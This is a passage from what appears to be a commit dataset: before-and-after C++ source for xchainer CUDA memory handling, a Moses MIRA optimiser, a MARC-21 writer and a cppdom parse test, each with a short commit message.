std::make_unique<uint8_t[]>(bytesize);\n#ifdef XCHAINER_ENABLE_CUDA\n } else if (device == MakeDevice(\"cuda\")) {\n void* raw_ptr = nullptr;\n \/\/ Be careful to be exception-safe, i.e., do not throw before creating shared_ptr\n cudaError_t status = cudaMallocManaged(&raw_ptr, bytesize, cudaMemAttachGlobal);\n if (status == cudaSuccess) {\n return std::shared_ptr<void>{raw_ptr, cudaFree};\n } else {\n cuda::CheckError(status);\n }\n#endif \/\/ XCHAINER_ENABLE_CUDA\n } else {\n throw DeviceError(\"invalid device\");\n }\n}\n\nvoid MemoryCopy(void* dst_ptr, const void* src_ptr, size_t bytesize) {\n#ifdef XCHAINER_ENABLE_CUDA\n bool is_dst_cuda_memory = IsPointerCudaMemory(dst_ptr);\n bool is_src_cuda_memory = IsPointerCudaMemory(src_ptr);\n if (is_dst_cuda_memory) {\n if (is_src_cuda_memory) {\n \/\/ Copy from device to device is faster even in unified memory\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyDeviceToDevice));\n } else {\n \/\/ For pre-6.x GPU architecture, we encountered SEGV with std::memcpy\n \/\/ ref. https:\/\/github.com\/pfnet\/xchainer\/pull\/74\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyHostToDevice));\n }\n } else {\n if (is_src_cuda_memory) {\n \/\/ For pre-6.x GPU architecture, we encountered SEGV with std::memcpy\n \/\/ ref. https:\/\/github.com\/pfnet\/xchainer\/pull\/74\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyDeviceToHost));\n } else {\n std::memcpy(dst_ptr, src_ptr, bytesize);\n }\n }\n#else\n std::memcpy(dst_ptr, src_ptr, bytesize);\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\nstd::shared_ptr<void> MemoryFromBuffer(const Device& device, const std::shared_ptr<void>& src_ptr, size_t bytesize) {\n#ifdef XCHAINER_ENABLE_CUDA\n if (device == MakeDevice(\"cpu\")) {\n if (IsPointerCudaMemory(src_ptr.get())) {\n std::shared_ptr<void> dst_ptr = Allocate(device, bytesize);\n cuda::CheckError(cudaMemcpy(dst_ptr.get(), src_ptr.get(), bytesize, cudaMemcpyDeviceToHost));\n return dst_ptr;\n } else {\n return src_ptr;\n }\n } else if (device == MakeDevice(\"cuda\")) {\n if (IsPointerCudaMemory(src_ptr.get())) {\n return src_ptr;\n } else {\n std::shared_ptr<void> dst_ptr = Allocate(device, bytesize);\n cuda::CheckError(cudaMemcpy(dst_ptr.get(), src_ptr.get(), bytesize, cudaMemcpyHostToDevice));\n return dst_ptr;\n }\n } else {\n throw DeviceError(\"invalid device\");\n }\n#else\n return src_ptr;\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\n} \/\/ namespace internal\n} \/\/ namespace xchainer\n<commit_msg>Avoid warning: control reaches end of non-void function [-Wreturn-type]<commit_after>#include \"xchainer\/memory.h\"\n\n#include <cassert>\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include <cuda.h>\n#include <cuda_runtime.h>\n#endif \/\/ XCHAINER_ENABLE_CUDA\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include \"xchainer\/cuda\/cuda_runtime.h\"\n#endif \/\/ XCHAINER_ENABLE_CUDA\n#include \"xchainer\/device.h\"\n#include \"xchainer\/error.h\"\n\nnamespace xchainer {\nnamespace internal {\n\nbool IsPointerCudaMemory(const void* ptr) {\n#ifdef XCHAINER_ENABLE_CUDA\n cudaPointerAttributes attr = {};\n cudaError_t status = cudaPointerGetAttributes(&attr, ptr);\n switch (status) {\n case cudaSuccess:\n if (attr.isManaged) {\n return true;\n } else {\n throw XchainerError(\"Non-managed GPU memory is not supported\");\n }\n case cudaErrorInvalidValue:\n return false;\n default:\n cuda::CheckError(status);\n break;\n }\n assert(false); \/\/ should never be reached\n#else\n return false;\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\nstd::shared_ptr<void> Allocate(const Device& device, size_t bytesize) {\n if (device == MakeDevice(\"cpu\")) {\n return std::make_unique<uint8_t[]>(bytesize);\n#ifdef XCHAINER_ENABLE_CUDA\n } else if (device == MakeDevice(\"cuda\")) {\n void* raw_ptr = nullptr;\n \/\/ Be careful to be exception-safe, i.e., do not throw before creating shared_ptr\n cudaError_t status = cudaMallocManaged(&raw_ptr, bytesize, cudaMemAttachGlobal);\n if (status == cudaSuccess) {\n return std::shared_ptr<void>{raw_ptr, cudaFree};\n } else {\n cuda::CheckError(status);\n }\n assert(false); \/\/ should never be reached\n#endif \/\/ XCHAINER_ENABLE_CUDA\n } else {\n throw DeviceError(\"invalid device\");\n }\n}\n\nvoid MemoryCopy(void* dst_ptr, const void* src_ptr, size_t bytesize) {\n#ifdef XCHAINER_ENABLE_CUDA\n bool is_dst_cuda_memory = IsPointerCudaMemory(dst_ptr);\n bool is_src_cuda_memory = IsPointerCudaMemory(src_ptr);\n if (is_dst_cuda_memory) {\n if (is_src_cuda_memory) {\n \/\/ Copy from device to device is faster even in unified memory\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyDeviceToDevice));\n } else {\n \/\/ For pre-6.x GPU architecture, we encountered SEGV with std::memcpy\n \/\/ ref. https:\/\/github.com\/pfnet\/xchainer\/pull\/74\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyHostToDevice));\n }\n } else {\n if (is_src_cuda_memory) {\n \/\/ For pre-6.x GPU architecture, we encountered SEGV with std::memcpy\n \/\/ ref. https:\/\/github.com\/pfnet\/xchainer\/pull\/74\n cuda::CheckError(cudaMemcpy(dst_ptr, src_ptr, bytesize, cudaMemcpyDeviceToHost));\n } else {\n std::memcpy(dst_ptr, src_ptr, bytesize);\n }\n }\n#else\n std::memcpy(dst_ptr, src_ptr, bytesize);\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\nstd::shared_ptr<void> MemoryFromBuffer(const Device& device, const std::shared_ptr<void>& src_ptr, size_t bytesize) {\n#ifdef XCHAINER_ENABLE_CUDA\n if (device == MakeDevice(\"cpu\")) {\n if (IsPointerCudaMemory(src_ptr.get())) {\n std::shared_ptr<void> dst_ptr = Allocate(device, bytesize);\n cuda::CheckError(cudaMemcpy(dst_ptr.get(), src_ptr.get(), bytesize, cudaMemcpyDeviceToHost));\n return dst_ptr;\n } else {\n return src_ptr;\n }\n } else if (device == MakeDevice(\"cuda\")) {\n if (IsPointerCudaMemory(src_ptr.get())) {\n return src_ptr;\n } else {\n std::shared_ptr<void> dst_ptr = Allocate(device, bytesize);\n cuda::CheckError(cudaMemcpy(dst_ptr.get(), src_ptr.get(), bytesize, cudaMemcpyHostToDevice));\n return dst_ptr;\n }\n } else {\n throw DeviceError(\"invalid device\");\n }\n#else\n return src_ptr;\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\n} \/\/ namespace internal\n} \/\/ namespace xchainer\n<|endoftext|>"} {"text":"<commit_before>#include \"Optimiser.h\"\n\nusing namespace Moses;\nusing namespace std;\n\nnamespace Mira {\n\tvoid MiraOptimiser::updateWeights(Moses::ScoreComponentCollection& weights,\n \tconst std::vector< std::vector<Moses::ScoreComponentCollection> >& scores,\n \tconst std::vector< std::vector<float> >& losses,\n \tconst Moses::ScoreComponentCollection& oracleScores) {\n\n\tfor(unsigned batch = 0; batch < scores.size(); batch++) {\n\t for(unsigned analyseSentence = 0; analyseSentence < scores[batch].size(); analyseSentence++) {\n\n float scoreChange = 0.0;\n float norm = 0.0;\n \n for(unsigned score = 0; score < scores[batch][analyseSentence].size(); score++) {\n float currentScoreChange = oracleScores[score] - scores[batch][analyseSentence][score];\n scoreChange += currentScoreChange * weights[score];\n norm += currentScoreChange * currentScoreChange;\n }\n \n float delta;\n if(norm == 0.0) \/\/just in case... :-)\n delta = 0.0;\n else {\n delta = (losses[batch][analyseSentence] - scoreChange) \/ norm;\n cout << \"scoreChange: \" << scoreChange\n << \"\\ndelta: \" << delta\n << \"\\nloss: \" << losses[batch][analyseSentence] << endl;\n }\n \/\/now get in shape\n if(delta > upperBound_)\n delta = upperBound_;\n else if(delta < lowerBound_)\n delta = lowerBound_;\n\n\t\t\t\t\t\t\/\/ do this:\tweights += delta * (oracleScores - scores[batch][analyseSentence]);\n\t\t\t\t\t\tMoses::ScoreComponentCollection tempColl = oracleScores;\n\t\t\t\t\t\ttempColl.MinusEquals(scores[batch][analyseSentence]);\n\t\t\t\t\t\ttempColl.MultiplyEquals(delta);\n\t\t\t\t\t\tweights.MinusEquals(tempColl);\n\t\t\t\n\t\t\t\n\t\t\t\t\t\/\/StaticData::GetInstanceNonConst().SetWeightsScoreComponentCollection(weights);\t\n \/\/calculate max. for criterion\n \/*\n \t float sumWeightedFeatures = 0.0;\n for(unsigned score = 0; score < scores[analyseSentence]->size(); score++) {\n sumWeightedFeatures += oracleScores[score]*newWeights[score];\n }\n\n\t if((losses[analyseSentence] - sumWeightedFeatures) > maxTranslation_) {\n maxTranslation_ = losses[analyseSentence] - sumWeightedFeatures;\n\t } \n\t *\/\n }\n\t}\n }\n}\n\n<commit_msg>now i am using scoreComponentCollection :)<commit_after>#include \"Optimiser.h\"\n\nusing namespace Moses;\nusing namespace std;\n\nnamespace Mira {\n\tvoid MiraOptimiser::updateWeights(Moses::ScoreComponentCollection& weights,\n \tconst std::vector< std::vector<Moses::ScoreComponentCollection> >& scores,\n \tconst std::vector< std::vector<float> >& losses,\n \tconst Moses::ScoreComponentCollection& oracleScores) {\n\n\tfor(unsigned batch = 0; batch < scores.size(); batch++) {\n\t for(unsigned analyseSentence = 0; analyseSentence < scores[batch].size(); analyseSentence++) {\n\n \/* do this:\n for(unsigned score = 0; score < scores[batch][analyseSentence].size(); score++) {\n float currentScoreChange = oracleScores[score] - scores[batch][analyseSentence][score];\n scoreChange += currentScoreChange * weights[score];\n norm += currentScoreChange * currentScoreChange;\n }\n *\/ \n Moses::ScoreComponentCollection currentScoreColl = oracleScores;\n currentScoreColl.MinusEquals(scores[batch][analyseSentence]);\n\t currentScoreColl.MultiplyEquals(weights);\n\t float scoreChange = currentScoreChange.InnerProduct(weights);\n\t float norm = currentScoreChange.InnerProduct(currentScoreChange);\t \n\n float delta;\n if(norm == 0.0) \/\/just in case... :-)\n delta = 0.0;\n else {\n delta = (losses[batch][analyseSentence] - scoreChange) \/ norm;\n cout << \"scoreChange: \" << scoreChange\n << \"\\ndelta: \" << delta\n << \"\\nloss: \" << losses[batch][analyseSentence] << endl;\n }\n \/\/now get in shape\n if(delta > upperBound_)\n delta = upperBound_;\n else if(delta < lowerBound_)\n delta = lowerBound_;\n\n\t \/\/ do this:\tweights += delta * (oracleScores - scores[batch][analyseSentence])\n Moses::ScoreComponentCollection tempColl = oracleScores;\n tempColl.MinusEquals(scores[batch][analyseSentence]);\n\t tempColl.MultiplyEquals(delta);\n\t weights.MinusEquals(tempColl);\n\t\t\t\n\t\t\t\n \/\/calculate max. for criterion\n \/*\n \t float sumWeightedFeatures = 0.0;\n for(unsigned score = 0; score < scores[analyseSentence]->size(); score++) {\n sumWeightedFeatures += oracleScores[score]*newWeights[score];\n }\n\n\t if((losses[analyseSentence] - sumWeightedFeatures) > maxTranslation_) {\n maxTranslation_ = losses[analyseSentence] - sumWeightedFeatures;\n\t } \n\t *\/\n }\n\t}\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/** \\brief Implementation of writer classes for MARC files.\n * \\author Oliver Obenland (oliver.obenland@uni-tuebingen.de)\n * \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n * \\copyright 2017 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"MarcRecord.h\"\n#include \"Compiler.h\"\n#include \"FileUtil.h\"\n#include \"MarcWriter.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\n\n#define DEBUG 1\n\n\nstatic const size_t MAX_MARC_21_RECORD_LENGTH(99999);\nstatic char write_buffer[MAX_MARC_21_RECORD_LENGTH]; \/\/ Possibly too big for the stack!\n\n\n\/\/ Returns true if we can add the new field to our record w\/o overflowing the maximum size of a binary\n\/\/ MARC-21 record, o\/w we return false.\nstatic bool inline NewFieldDoesFit(const size_t base_address, const size_t current_record_length,\n const size_t next_field_length)\n{\n return base_address + DirectoryEntry::DIRECTORY_ENTRY_LENGTH + current_record_length + next_field_length\n + 1 \/* for the field terminator byte *\/ <= MAX_MARC_21_RECORD_LENGTH;\n}\n\n\n\/**\n * We determine the record dimensions by adding sizes of fields one-by-one (starting with the field represented by\n * \"directory_iter\") while we do not overflow the maximum\n * size of a binary MARC-21 record.\n *\/\nstatic void inline DetermineRecordDimensions(const size_t control_number_field_length,\n std::vector<DirectoryEntry>::const_iterator directory_iter,\n const std::vector<DirectoryEntry>::const_iterator &end_iter,\n size_t * const number_of_directory_entries, size_t * const base_address,\n size_t * const record_length)\n{\n *number_of_directory_entries = 0;\n *base_address = DirectoryEntry::DIRECTORY_ENTRY_LENGTH \/* for the control number field *\/\n + Leader::LEADER_LENGTH + 1 \/* for directory separator byte *\/;\n *record_length = control_number_field_length + 1 \/* for end of record byte *\/;\n\n \/\/ Now we add fields one-by-one while taking care not to overflow the maximum record size:\n for (\/* empty *\/;\n directory_iter < end_iter\n and NewFieldDoesFit(*base_address, *record_length, directory_iter->getFieldLength());\n ++directory_iter)\n {\n *base_address += DirectoryEntry::DIRECTORY_ENTRY_LENGTH;\n *record_length += directory_iter->getFieldLength();\n ++*number_of_directory_entries;\n }\n\n *record_length += *base_address;\n}\n\n\nstatic void inline WriteToBuffer(char *&dest, const std::string &data) {\n #if DEBUG\n if (unlikely(dest + data.size() > write_buffer + sizeof(write_buffer)))\n logger->error(\"write past end of write_buffer! (1)\");\n #endif\n std::memcpy(dest, data.data(), data.size());\n dest += data.size();\n}\n\n\nstatic void inline WriteToBuffer(char *&dest, const char * const source, const size_t length) {\n #if DEBUG\n if (unlikely(dest + length > write_buffer + sizeof(write_buffer)))\n logger->error(\"write past end of write_buffer! (2)\");\n #endif\n std::memcpy(dest, source, length);\n dest += length;\n}\n\n\nstatic void inline WriteDirEntryToBuffer(char *&directory_pointer, const DirectoryEntry &dir_entry) {\n const MarcTag &tag(dir_entry.getTag());\n WriteToBuffer(directory_pointer, tag.c_str(), DirectoryEntry::TAG_LENGTH);\n WriteToBuffer(directory_pointer, StringUtil::PadLeading(std::to_string(dir_entry.getFieldLength()), 4, '0'));\n WriteToBuffer(directory_pointer, StringUtil::PadLeading(std::to_string(dir_entry.getFieldOffset()), 5, '0'));\n}\n\n\nvoid BinaryMarcWriter::write(const MarcRecord &record) {\n const std::string control_number(record.getControlNumber());\n const size_t control_number_field_length(control_number.size() + 1);\n\n auto dir_entry(record.directory_entries_.cbegin());\n if (unlikely(dir_entry == record.directory_entries_.cend()))\n logger->error(\"BinaryMarcWriter::write: can't write a record w\/ an empty directory!\");\n if (unlikely(dir_entry->getTag() != \"001\"))\n logger->error(\"BinaryMarcWriter::write: first directory entry has to be 001! Found: \"\n + dir_entry->getTag().to_string() + \" (Control number: \" + record.getControlNumber() + \")\");\n ++dir_entry;\n\n while (dir_entry < record.directory_entries_.cend()) {\n size_t number_of_directory_entries, record_length, base_address_of_data;\n DetermineRecordDimensions(control_number_field_length, dir_entry, record.directory_entries_.cend(),\n &number_of_directory_entries, &base_address_of_data, &record_length);\n const std::vector<DirectoryEntry>::const_iterator end_iter(dir_entry + number_of_directory_entries);\n\n char *leader_pointer(write_buffer);\n record.leader_.setBaseAddressOfData(base_address_of_data);\n record.leader_.setRecordLength(record_length);\n\n \/\/ In the case of a multi-part records all but the last record need to have the multi-part flag set:\n record.leader_.setMultiPartRecord(end_iter != record.directory_entries_.cend());\n\n WriteToBuffer(leader_pointer, record.leader_.toString());\n\n \/\/ Write a control number directory entry for each record as the first entry in the directory section:\n char *directory_pointer(write_buffer + Leader::LEADER_LENGTH);\n WriteDirEntryToBuffer(directory_pointer, record.directory_entries_.front());\n\n char *field_data_pointer(write_buffer + base_address_of_data);\n\n \/\/ Write the control number field data:\n WriteToBuffer(field_data_pointer, record.field_data_.data(), control_number_field_length);\n\n \/\/ Now write the field data for all fields after the 001-field:\n for (; dir_entry < end_iter; ++dir_entry) {\n WriteDirEntryToBuffer(directory_pointer, *dir_entry);\n WriteToBuffer(field_data_pointer, record.field_data_.data() + dir_entry->getFieldOffset(),\n dir_entry->getFieldLength());\n }\n\n WriteToBuffer(directory_pointer, \"\\x1E\", 1); \/\/ End of directory.\n WriteToBuffer(field_data_pointer, \"\\x1D\", 1); \/\/ End of field data.\n\n output_->write(write_buffer, record_length);\n }\n}\n\n\nXmlMarcWriter::XmlMarcWriter(File * const output_file, const unsigned indent_amount,\n const XmlWriter::TextConversionType text_conversion_type)\n{\n xml_writer_ = new MarcXmlWriter(output_file, indent_amount, text_conversion_type);\n}\n\n\nvoid XmlMarcWriter::write(const MarcRecord &record) {\n xml_writer_->openTag(\"record\");\n\n record.leader_.setRecordLength(0);\n record.leader_.setBaseAddressOfData(0);\n xml_writer_->writeTagsWithData(\"leader\", record.leader_.toString(), \/* suppress_newline = *\/ true);\n\n for (unsigned entry_no(0); entry_no < record.directory_entries_.size(); ++entry_no) {\n const DirectoryEntry &dir_entry(record.directory_entries_[entry_no]);\n if (dir_entry.isControlFieldEntry())\n xml_writer_->writeTagsWithData(\"controlfield\",\n { std::make_pair(\"tag\", dir_entry.getTag().to_string()) },\n record.getFieldData(entry_no),\n \/* suppress_newline = *\/ true);\n else { \/\/ We have a data field.\n const std::string data(record.getFieldData(entry_no));\n xml_writer_->openTag(\"datafield\",\n { std::make_pair(\"tag\", dir_entry.getTag().to_string()),\n std::make_pair(\"ind1\", std::string(1, data[0])),\n std::make_pair(\"ind2\", std::string(1, data[1]))\n });\n\n std::string::const_iterator ch(data.cbegin() + 2 \/* Skip over the indicators. *\/);\n\n while (ch != data.cend()) {\n if (*ch != '\\x1F')\n std::runtime_error(\"in XmlMarcWriter::write: expected subfield code delimiter not found! Found \"\n + std::string(1, *ch) + \"! (Control number is \" + record.getControlNumber()\n + \".)\");\n\n ++ch;\n if (ch == data.cend())\n std::runtime_error(\"in XmlMarcWriter::write: unexpected subfield data end while expecting a \"\n \"subfield code!\");\n const std::string subfield_code(1, *ch++);\n\n std::string subfield_data;\n while (ch != data.cend() and *ch != '\\x1F')\n subfield_data += *ch++;\n if (subfield_data.empty())\n continue;\n\n xml_writer_->writeTagsWithData(\"subfield\", { std::make_pair(\"code\", subfield_code) },\n subfield_data, \/* suppress_newline = *\/ true);\n }\n\n xml_writer_->closeTag(); \/\/ Close \"datafield\".\n }\n }\n\n xml_writer_->closeTag(); \/\/ Close \"record\".\n}\n\n\nstd::unique_ptr<MarcWriter> MarcWriter::Factory(const std::string &output_filename, WriterType writer_type,\n const WriterMode writer_mode)\n{\n std::unique_ptr<File> output(writer_mode == WriterMode::OVERWRITE ? FileUtil::OpenOutputFileOrDie(output_filename)\n : FileUtil::OpenForAppendingOrDie(output_filename));\n if (writer_type == AUTO) {\n if (StringUtil::EndsWith(output_filename, \".mrc\") or StringUtil::EndsWith(output_filename, \".marc\"))\n writer_type = BINARY;\n else if (StringUtil::EndsWith(output_filename, \".xml\"))\n writer_type = XML;\n else\n throw std::runtime_error(\"in MarcWriter::Factory: WriterType is AUTO but filename \\\"\"\n + output_filename + \"\\\" does not end in \\\".mrc\\\" or \\\".xml\\\"!\");\n }\n return (writer_type == XML) ? std::unique_ptr<MarcWriter>(new XmlMarcWriter(output.release()))\n : std::unique_ptr<MarcWriter>(new BinaryMarcWriter(output.release()));\n}\n<commit_msg>Fixing naming conflict<commit_after>\/** \\brief Implementation of writer classes for MARC files.\n * \\author Oliver Obenland (oliver.obenland@uni-tuebingen.de)\n * \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n * \\copyright 2017 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"MarcRecord.h\"\n#include \"Compiler.h\"\n#include \"FileUtil.h\"\n#include \"MarcWriter.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\n\n#define MARC_WRITER_DEBUG 1\n\n\nstatic const size_t MAX_MARC_21_RECORD_LENGTH(99999);\nstatic char write_buffer[MAX_MARC_21_RECORD_LENGTH]; \/\/ Possibly too big for the stack!\n\n\n\/\/ Returns true if we can add the new field to our record w\/o overflowing the maximum size of a binary\n\/\/ MARC-21 record, o\/w we return false.\nstatic bool inline NewFieldDoesFit(const size_t base_address, const size_t current_record_length,\n const size_t next_field_length)\n{\n return base_address + DirectoryEntry::DIRECTORY_ENTRY_LENGTH + current_record_length + next_field_length\n + 1 \/* for the field terminator byte *\/ <= MAX_MARC_21_RECORD_LENGTH;\n}\n\n\n\/**\n * We determine the record dimensions by adding sizes of fields one-by-one (starting with the field represented by\n * \"directory_iter\") while we do not overflow the maximum\n * size of a binary MARC-21 record.\n *\/\nstatic void inline DetermineRecordDimensions(const size_t control_number_field_length,\n std::vector<DirectoryEntry>::const_iterator directory_iter,\n const std::vector<DirectoryEntry>::const_iterator &end_iter,\n size_t * const number_of_directory_entries, size_t * const base_address,\n size_t * const record_length)\n{\n *number_of_directory_entries = 0;\n *base_address = DirectoryEntry::DIRECTORY_ENTRY_LENGTH \/* for the control number field *\/\n + Leader::LEADER_LENGTH + 1 \/* for directory separator byte *\/;\n *record_length = control_number_field_length + 1 \/* for end of record byte *\/;\n\n \/\/ Now we add fields one-by-one while taking care not to overflow the maximum record size:\n for (\/* empty *\/;\n directory_iter < end_iter\n and NewFieldDoesFit(*base_address, *record_length, directory_iter->getFieldLength());\n ++directory_iter)\n {\n *base_address += DirectoryEntry::DIRECTORY_ENTRY_LENGTH;\n *record_length += directory_iter->getFieldLength();\n ++*number_of_directory_entries;\n }\n\n *record_length += *base_address;\n}\n\n\nstatic void inline WriteToBuffer(char *&dest, const std::string &data) {\n #if MARC_WRITER_DEBUG\n if (unlikely(dest + data.size() > write_buffer + sizeof(write_buffer)))\n logger->error(\"write past end of write_buffer! (1)\");\n #endif\n std::memcpy(dest, data.data(), data.size());\n dest += data.size();\n}\n\n\nstatic void inline WriteToBuffer(char *&dest, const char * const source, const size_t length) {\n #if MARC_WRITER_DEBUG\n if (unlikely(dest + length > write_buffer + sizeof(write_buffer)))\n logger->error(\"write past end of write_buffer! (2)\");\n #endif\n std::memcpy(dest, source, length);\n dest += length;\n}\n\n\nstatic void inline WriteDirEntryToBuffer(char *&directory_pointer, const DirectoryEntry &dir_entry) {\n const MarcTag &tag(dir_entry.getTag());\n WriteToBuffer(directory_pointer, tag.c_str(), DirectoryEntry::TAG_LENGTH);\n WriteToBuffer(directory_pointer, StringUtil::PadLeading(std::to_string(dir_entry.getFieldLength()), 4, '0'));\n WriteToBuffer(directory_pointer, StringUtil::PadLeading(std::to_string(dir_entry.getFieldOffset()), 5, '0'));\n}\n\n\nvoid BinaryMarcWriter::write(const MarcRecord &record) {\n const std::string control_number(record.getControlNumber());\n const size_t control_number_field_length(control_number.size() + 1);\n\n auto dir_entry(record.directory_entries_.cbegin());\n if (unlikely(dir_entry == record.directory_entries_.cend()))\n logger->error(\"BinaryMarcWriter::write: can't write a record w\/ an empty directory!\");\n if (unlikely(dir_entry->getTag() != \"001\"))\n logger->error(\"BinaryMarcWriter::write: first directory entry has to be 001! Found: \"\n + dir_entry->getTag().to_string() + \" (Control number: \" + record.getControlNumber() + \")\");\n ++dir_entry;\n\n while (dir_entry < record.directory_entries_.cend()) {\n size_t number_of_directory_entries, record_length, base_address_of_data;\n DetermineRecordDimensions(control_number_field_length, dir_entry, record.directory_entries_.cend(),\n &number_of_directory_entries, &base_address_of_data, &record_length);\n const std::vector<DirectoryEntry>::const_iterator end_iter(dir_entry + number_of_directory_entries);\n\n char *leader_pointer(write_buffer);\n record.leader_.setBaseAddressOfData(base_address_of_data);\n record.leader_.setRecordLength(record_length);\n\n \/\/ In the case of a multi-part records all but the last record need to have the multi-part flag set:\n record.leader_.setMultiPartRecord(end_iter != record.directory_entries_.cend());\n\n WriteToBuffer(leader_pointer, record.leader_.toString());\n\n \/\/ Write a control number directory entry for each record as the first entry in the directory section:\n char *directory_pointer(write_buffer + Leader::LEADER_LENGTH);\n WriteDirEntryToBuffer(directory_pointer, record.directory_entries_.front());\n\n char *field_data_pointer(write_buffer + base_address_of_data);\n\n \/\/ Write the control number field data:\n WriteToBuffer(field_data_pointer, record.field_data_.data(), control_number_field_length);\n\n \/\/ Now write the field data for all fields after the 001-field:\n for (; dir_entry < end_iter; ++dir_entry) {\n WriteDirEntryToBuffer(directory_pointer, *dir_entry);\n WriteToBuffer(field_data_pointer, record.field_data_.data() + dir_entry->getFieldOffset(),\n dir_entry->getFieldLength());\n }\n\n WriteToBuffer(directory_pointer, \"\\x1E\", 1); \/\/ End of directory.\n WriteToBuffer(field_data_pointer, \"\\x1D\", 1); \/\/ End of field data.\n\n output_->write(write_buffer, record_length);\n }\n}\n\n\nXmlMarcWriter::XmlMarcWriter(File * const output_file, const unsigned indent_amount,\n const XmlWriter::TextConversionType text_conversion_type)\n{\n xml_writer_ = new MarcXmlWriter(output_file, indent_amount, text_conversion_type);\n}\n\n\nvoid XmlMarcWriter::write(const MarcRecord &record) {\n xml_writer_->openTag(\"record\");\n\n record.leader_.setRecordLength(0);\n record.leader_.setBaseAddressOfData(0);\n xml_writer_->writeTagsWithData(\"leader\", record.leader_.toString(), \/* suppress_newline = *\/ true);\n\n for (unsigned entry_no(0); entry_no < record.directory_entries_.size(); ++entry_no) {\n const DirectoryEntry &dir_entry(record.directory_entries_[entry_no]);\n if (dir_entry.isControlFieldEntry())\n xml_writer_->writeTagsWithData(\"controlfield\",\n { std::make_pair(\"tag\", dir_entry.getTag().to_string()) },\n record.getFieldData(entry_no),\n \/* suppress_newline = *\/ true);\n else { \/\/ We have a data field.\n const std::string data(record.getFieldData(entry_no));\n xml_writer_->openTag(\"datafield\",\n { std::make_pair(\"tag\", dir_entry.getTag().to_string()),\n std::make_pair(\"ind1\", std::string(1, data[0])),\n std::make_pair(\"ind2\", std::string(1, data[1]))\n });\n\n std::string::const_iterator ch(data.cbegin() + 2 \/* Skip over the indicators. *\/);\n\n while (ch != data.cend()) {\n if (*ch != '\\x1F')\n std::runtime_error(\"in XmlMarcWriter::write: expected subfield code delimiter not found! Found \"\n + std::string(1, *ch) + \"! (Control number is \" + record.getControlNumber()\n + \".)\");\n\n ++ch;\n if (ch == data.cend())\n std::runtime_error(\"in XmlMarcWriter::write: unexpected subfield data end while expecting a \"\n \"subfield code!\");\n const std::string subfield_code(1, *ch++);\n\n std::string subfield_data;\n while (ch != data.cend() and *ch != '\\x1F')\n subfield_data += *ch++;\n if (subfield_data.empty())\n continue;\n\n xml_writer_->writeTagsWithData(\"subfield\", { std::make_pair(\"code\", subfield_code) },\n subfield_data, \/* suppress_newline = *\/ true);\n }\n\n xml_writer_->closeTag(); \/\/ Close \"datafield\".\n }\n }\n\n xml_writer_->closeTag(); \/\/ Close \"record\".\n}\n\n\nstd::unique_ptr<MarcWriter> MarcWriter::Factory(const std::string &output_filename, WriterType writer_type,\n const WriterMode writer_mode)\n{\n std::unique_ptr<File> output(writer_mode == WriterMode::OVERWRITE ? FileUtil::OpenOutputFileOrDie(output_filename)\n : FileUtil::OpenForAppendingOrDie(output_filename));\n if (writer_type == AUTO) {\n if (StringUtil::EndsWith(output_filename, \".mrc\") or StringUtil::EndsWith(output_filename, \".marc\"))\n writer_type = BINARY;\n else if (StringUtil::EndsWith(output_filename, \".xml\"))\n writer_type = XML;\n else\n throw std::runtime_error(\"in MarcWriter::Factory: WriterType is AUTO but filename \\\"\"\n + output_filename + \"\\\" does not end in \\\".mrc\\\" or \\\".xml\\\"!\");\n }\n return (writer_type == XML) ? std::unique_ptr<MarcWriter>(new XmlMarcWriter(output.release()))\n : std::unique_ptr<MarcWriter>(new BinaryMarcWriter(output.release()));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Parse test application\n\/\/ Based upon: parsetest.cpp from xmlpp\n\n\/\/ needed includes\n#include <fstream>\n#include <iostream>\n#include <ctime>\n#include <cppdom\/cppdom.h>\n\n\/\/ namespace includes\nusing namespace cppdom;\nusing namespace std;\n\n\n\/\/ dumps the node\nvoid dump_node( XMLNode &node, int level = 0 )\n{\n XMLString name = node.getName();\n XMLNodeType type = node.getType();\n XMLString c_data;\n\n for(int i=0;i<level;i++) cout << \" \";\n\n char c = ' ';\n switch(type)\n {\n case xml_nt_node:\n c = '+';\n break;\n case xml_nt_leaf:\n c = '-';\n break;\n case xml_nt_document:\n c = '\\\\';\n break;\n case xml_nt_cdata:\n c = '#';\n c_data = 